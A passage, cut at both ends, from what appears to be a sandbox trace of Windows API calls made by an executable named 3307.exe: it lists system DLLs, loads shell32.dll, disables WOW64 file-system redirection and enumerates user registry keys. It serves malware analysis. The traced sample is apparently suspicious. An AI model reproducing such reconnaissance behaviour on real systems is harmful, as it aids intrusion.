ftLastWriteTime.dwLowDateTime=0x8f8987ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="dbgeng.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0xddc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.084] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f84c52c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f84c52c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f84c52c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd0800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.084] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb5dae70, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbb5dae70, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x87976130, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x21000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="dbnetlib.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.084] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83de1c0, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb83de1c0, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="dbnmpntw.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.084] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310962f5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x310962f5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8799d230, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="dciman32.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.084] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce87462, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6ce87462, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x879e8d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="DDACLSys.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.084] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0xddc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0024.084] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.085] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0024.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0024.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0xddc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0024.085] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0024.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.085] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0024.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0024.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0xddc288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0024.085] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0024.148] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x18f9a0 | out: BaseAddress=0x18f9a0*=0x75fd0000) returned 0x0 [0025.652] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0025.652] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.652] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.652] FindClose (in: hFindFile=0x2b2958 | out: hFindFile=0x2b2958) returned 1 [0025.652] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde268) returned 1 [0025.652] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe\" ", pNumArgs=0x18f9cc | out: pNumArgs=0x18f9cc) returned 0x2c3c50*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe" [0025.652] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0025.652] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd288 [0025.653] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde268 [0025.653] LocalFree (hMem=0x2c3c50) returned 0x0 [0025.653] Wow64DisableWow64FsRedirection (in: OldValue=0x18f9c8 | out: OldValue=0x18f9c8*=0x0) returned 1 [0025.653] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x800) returned 0xc17cf8 [0025.653] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc17cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3307.exe")) returned 0x2e [0025.653] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x800) returned 0xc18500 [0025.653] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc18500, nSize=0x200 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3307.exe")) returned 0x2e [0025.653] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.653] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.653] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.653] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde8c8) returned 1 [0025.653] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x800) returned 0xc18d08 [0025.653] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe", lpszShortPath=0xc18d08, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\Desktop\\3307.exe") returned 0x22 [0025.654] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x800) returned 0xc19510 [0025.654] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0025.654] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde8c8 [0025.654] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x280) returned 0xc19d18 [0025.654] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0025.654] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0xc19d18, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0025.654] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.654] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0025.654] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.654] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.654] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.654] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.655] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0xc19d18, cchName=0x104 | out: lpName="Console") returned 0x0 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0xddc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.655] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0xc19d18, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.655] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0xc19d18, cchName=0x104 | out: lpName="Environment") returned 0x0 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0xddc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.655] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.655] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0xc19d18, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.655] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0xddc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.656] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0xc19d18, cchName=0x104 | out: lpName="Identities") returned 0x0 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0xddc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.656] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0xc19d18, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0xddc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.656] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0xc19d18, cchName=0x104 | out: lpName="Network") returned 0x0 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xddc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.656] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.656] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0xc19d18, cchName=0x104 | out: lpName="Printers") returned 0x0 [0025.656] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 